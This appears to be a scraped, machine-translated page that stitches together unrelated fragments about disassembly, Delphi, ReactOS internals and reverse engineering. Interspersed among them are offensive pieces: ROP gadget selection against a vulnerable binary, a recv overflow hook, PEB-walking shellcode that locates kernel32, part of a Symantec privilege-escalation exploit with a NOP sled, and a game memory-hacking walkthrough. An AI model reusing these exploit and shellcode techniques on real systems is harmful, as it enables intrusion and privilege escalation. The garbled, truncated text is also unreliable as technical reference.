edi 837

{2002.8.5 kingron} {Source: Source string} {Sub: Sub string} {Return: Count} {Ex: strsubcount ('abccdcd', 'bc') = 2} Function strsubcount (const source, Sub: string): integer; VaR Buf: string; I: integer; Len: integer; Begin Result: = 0; Buf: = source; I: = pos (sub, Buf ); Len: = length (sub ); While I Begin INC (result ); Delete (BUF, 1, I + len-1 ); I: = pos (sub, Buf ); End; End; {strsubcount} {The following function returns the position after the specified position of substr in S}{Example:

KiInterruptTemplate .. That's it... The KiInterruptTemplate code is in ntoskrnl/ke/i386/Traps. s .... . Func KiInterruptTemplate_ KiInterruptTemplate: /* Enter interrupt trap */INT_PROLOG kit_a, kit_t, DoPushFakeErrorCode _ KiInterruptTemplate2ndDispatch:/* Dummy code, will be replaced by the address of the KINTERRUPT */Mov edi, 0 _ KiInterruptTemplateObject:/* The jump instruction address will be replaced with the actual address of the function to b

corresponding to the main function is as follows 123456789101112131415161718192021222324252627282930313233343536 7: int main()8: {00401020 push ebp // ebp初始为0018FF84h压栈，压栈后esp = 0018FF48h - 4 = 0018FF44h00401021 mov ebp,esp // ebp保存栈顶0，ebp=esp=0018FF44h00401023 sub esp,48h // esp -= 48h开辟了一段栈空间，留待后面保存局部变量，此时esp=0018FF44h-48h=0018FEFCh00401026 push ebx 00401027 push esi00401028 push edi // ebx、esi和

program, and no other auxiliary components. To control the register of passed parameters, you can extract the generic gadgets in the program initialization function.Enter Objdump–d./vul to observe the _libc_csu_init () function.There are two accessories available:Accessories 14005f0: 4c 89 ea mov %R13,%RDX 4005f3: 4c 89 f6 mov %R14,%RSI 4005f6: 44 89 ff mov %R15d,%EDI 4005f9: 41 ff 14 dc

: 0803DD09 xor eax, ebp. Text: 0803DD0B mov [ebp + 108 h + var_4], eax. Text: 0803DD11 push 4Ch. Text: 0803DD13 mov eax, offset loc_8184A54. Text: 0803DD18 call _ EH_prolog3_catch // set up an SE handler. Text: 0803DD1D mov eax, [ebp + 108 h + arg_C]. Text: 0803DD23 mov edi, [ebp + 108 h + arg_0]. Text: 0803DD29 mov ebx, [ebp + 108 h + arg_4]. Text: 0803DD2F mov [ebp + 108 h + var_130], edi. Text: 0803DD32

: 00412AC6 test cl, cl. Text: 00412AC8 jz short loc_412B06. Text: 00412AC8. Text: 00412ACA lea ecx, [esp + 8 + var_4]. Text: 00412ACE lea edx, [esp + 8 + arg_0]. Text: 00412AD2 push ecx. Text: 00412AD3 push edx. Text: 00412AD4 push eax. Text: 00412AD5 call sub_4444C0.. Text: 004444C0 sub esp, 5Ch. Text: 004444C3 push ebx. Text: 004444C4 push ebp. Text: 004444C5 push esi. Text: 004444C6 push edi. Text: 004444C7 mov

Debug versionESP stack top pointerEBP holds stack pointer Empty program: Int main () { 00411360 push ebp, press into EBP 00411361 mov ebp,esp; EBP = ESP, keep esp, wait for function call to resume, ESP is definitely used in a function call. 00411363 Sub esp,0c0h; esp-=0c0h (192); Leave temporary storage for the function ; put the values in other pointers or registers into the stack to use them in the function. 00411369 push ebx; Press into EBX 0041136A push esi, press into ESI 0041136B pu

, ESI73D311B9 FF50 60 call dword ptr ds: [EAX + 60]; PreTranslateMessage (Message preprocessing)73D311BC 85C0 test eax, EAX73D311BE 75 0E jnz short MFC42.73D311CE73D311C0 57 push edi; message preprocessing returns FALSE73D311C1 FF15 ACB6DC73 call dword ptr ds: [73D311C7 57 PUSH EDI73D311C8 FF15 30B6DC73 call dword ptr ds: [;73D311CE 6A 01 PUSH 1; return TRUE73D311D0 58 POP EAX73D311D1 5F POP EDI73D311D2 5E POP ESI73D311D3 C3 RETN Tip:A. OD after the p

From [wenjuliu25]: HelloWorld disassembly Analysis Lab environment:Visual c ++ 6.0 Objective: To analyze the memory allocation of a simple c program during program execution using assembly language /******* Mymain. cpp *********/ 1: # include 2: int main () 3 :{ 4: int x = 1; 5: printf ("Hello Canney \ n "); 6: return0; 7 :} /******* Mymain. asm *********/ 1: # include 2: int main () 3 :{ 00410950 push ebp 00410951 mov ebp, esp 00410953 sub ESP, 44 h // ESP = esp-0x40, allocate stack space t

stack occupied by the pressed ParameterPush ESI // protect the peripheral memoryPush EDIPush ECxPush edXMoV eax, [esp + 11bch]Push eaxMoV ESI, [esp + 11bch]Push 11a9h // Replace the value with an overflow ValueLea ECx, [esp + 24 h]PushecxMoveax, [esp + 11bch]PusheaxCall Recv // Recv forwardingTest eax, eaxJle loc_2CMP eax, ESI // determine whether the packet is receivedJle loc_1Movedx, [esp + 11ach]Xoreax, eaxDec eaxCmpedx, 0x90909090 // compare the specified overflow address valueJneloc_2Movea

CPU switches from user mode to privileged mode, then jump to the kernel code to execute the exception handling program.In the "B INT" command, the value 0x80 is a parameter. In exception handling, the parameter determines how to handle the problem. In the Linux kernel, an int 0x80 exception is called a system call.The values of C eax and EBX registers are two parameters passed to the system call. The value of eax is the system call number, 1 indicates _ exit call, and EBX indicates the paramete

;//////////////////////////////; First get the relocation difference Call rebaseRebase:Pop EBP;Sub EBP, offset rebase;; Get the kernel32.dll's base address; By peb direct access; Place in here not routine; Because we need it afterAssume FS: nothing; MoV eax, FS: [30 h]; PTR _ TebMoV eax, [eax + 0ch]; PTR _ peb_ldr_dataMoV eax, [eax + 1ch]; list_entry ininitializationordermodulelist. flinkMoV eax, [eax]; flink's flinkMoV eax, [eax + 08 h]; The Kernel32's base addressMoV [EBP + dwbase], eax;MoV EC

about some personal opinions. Next, we will conduct some small tests and explain them in assembly language. You can do it together. (1) Char name [] and char * Name 1:2: void process()3: {00401020 push ebp00401021 mov ebp,esp00401023 sub esp,4Ch00401026 push ebx00401027 push esi00401028 push edi00401029 lea edi,[ebp-4Ch]0040102C mov ecx,13h00401031 mov eax,0C

the arguments of the constructor, and is initialized with 1, which omits a step, speeds up the operation, and achieves the same effect. Note: In the above assembly, Visual Studio compiler optimizations have been turned off, indicating that this approach has been used as a general method of Visual Studio, rather than as a vs-perceived optimization tool.Initialize 3:classtest ct3 = Ct1Classtest ct3 = ct1;//Copy Initialization00b09538 Lea Eax,[ct1]00b0953e push EAX00b0953f Lea ECX,[CT3]00b09545 ca

this function: Exported FN (): Send-ord: 0013 HAssembly Code of address machine code: 71a21af4 55 push EBP // machine code to be hooked (1st methods): 71a21af5 8bec mov EBP, esp // machine code to be hooked (2nd methods): 71a21af7 83ec10 sub ESP, 00000010: 71a21afa 56 push ESI: 71a21afb 57 push EDI: 71a21afc 33ff xor edi, EDI: 71a21afe 813d1c20a371931ca271 cmp d

Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Public Static Vector3 Foo (vector3 V, Float Radius){Matrix;Matrix. createtranslation ( Ref V, Out A ); Matrix B=Matrix. createtranslation (v ); Matrix. Multiply (RefA,RefB,OutA ); Vector3 F1=B. forward; Vector3 F2;F2.x=B. m31;F2.y=B. M32;F2.z=B. M33; Vector3 F3;Vector3.add (RefF1,RefF2,OutF3 );Vector3.transform (RefF3,RefA,OutF1 );ReturnF1;} Test 2 is the focus of this Article. To facilitate the discussion, we div

";VaR objtmp = Document. getelementbyid ("TOP ");VaR bodyhtml = objtmp. innerhtml;VaR strfns = "/R/N "; // Analyze respond text !;VaR strrestext = XMLHTTP. responsetext;For (VAR I = 0; I Tooltip Callwindowproc is set as a macro, divided into callwindowproca and callwindowprocw.In both functions a and W, callwindowprocaorw (...) is called. The prototype is lresult winapi callwindowprocaorw (wndproc PFN, hwnd, uint message, wparam, lparam, bool Bansi). function a sets Bansi to 1, the W function s

parameter is the pointer to the string for the BMP file to open,Where my string is at address 0x00197fe8, and staying at 0x00197fe8 each timeAt the moment which is why I cocould debug this. Below is the disassembly with some of my own comments noting the importantParts: _ Loadbmp @ 20:77d55e95 mov EDI, EDI77d55e97 push EBP77d55e98 mov EBP, ESP77d55e9a sub ESP, 24 h77D55E9D mov ecx, dword ptr [ebp + 0Ch]; Copies address of filenameInto ecx77D55EA0 pus

;} Printf ("Symantec Local Privilege Escalation Vulnerability Exploit (POC) \ n ");Printf ("tested on: \ n \ twindows 2003 SP1 (ntkrnl.pa.exe version) \ n ");Printf ("\ tcoded by shadow3 \ n "); Status = ntallocatevirtualmemory (handle)-1, Shellcodememory,0, Memorysize,Mem_reserve | mem_commit | mem_top_down,Page_execute_readwrite );If (status! = STATUS_SUCCESS ){ Printf ("ntallocatevirtualmemory failed, status: % 08x \ n", status );Return 0;} Memset (shellcodememory, 0x90, memorysize ); _ ASM {

Game: tianlong BabuVersion: 0.13.0402System: Windows XPTool: ce5.2 + od1.10Objective: To search for the character base address Step 1: search for the person Hp with Ce, get a bunch of addresses, continue searching after blood loss, get the unique address 0abdc360 (HP address) Step 2: Switch the map and find that the value in the address is no longer HP, it is a dynamic address. Repeat the first step to search for a new HP address (the address is omitted) Step 3: Do not switch the map at this tim